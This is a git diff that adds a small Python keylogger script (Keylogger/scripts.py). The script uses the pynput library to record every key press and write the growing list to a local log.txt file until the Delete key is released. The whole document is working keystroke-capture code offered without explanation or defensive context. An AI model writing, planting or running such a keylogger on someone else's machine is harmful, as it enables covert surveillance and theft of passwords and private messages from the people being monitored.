diff --git a/Keylogger/scripts.py b/Keylogger/scripts.py new file mode 100644 index 0000000..dca4f97 --- /dev/null +++ b/Keylogger/scripts.py @@ -0,0 +1,29 @@ +import pynput +from pynput.keyboard import Key, Listener + + +keys = [] + + +def on_press(key): + keys.append(key) + write_file(keys) + + +def write_file(keys): + with open('log.txt', 'w') as f: + for key in keys: + #removing '' + k = str(key).replace("'", "") + f.write(k) + #explicitly adding a space after every keystroke for readability + f.write(' ') + + +def on_release(key): + if key == Key.delete: + return False + + +with Listener(on_press = on_press, on_release = on_release) as listener: + listener.join() \ No newline at end of file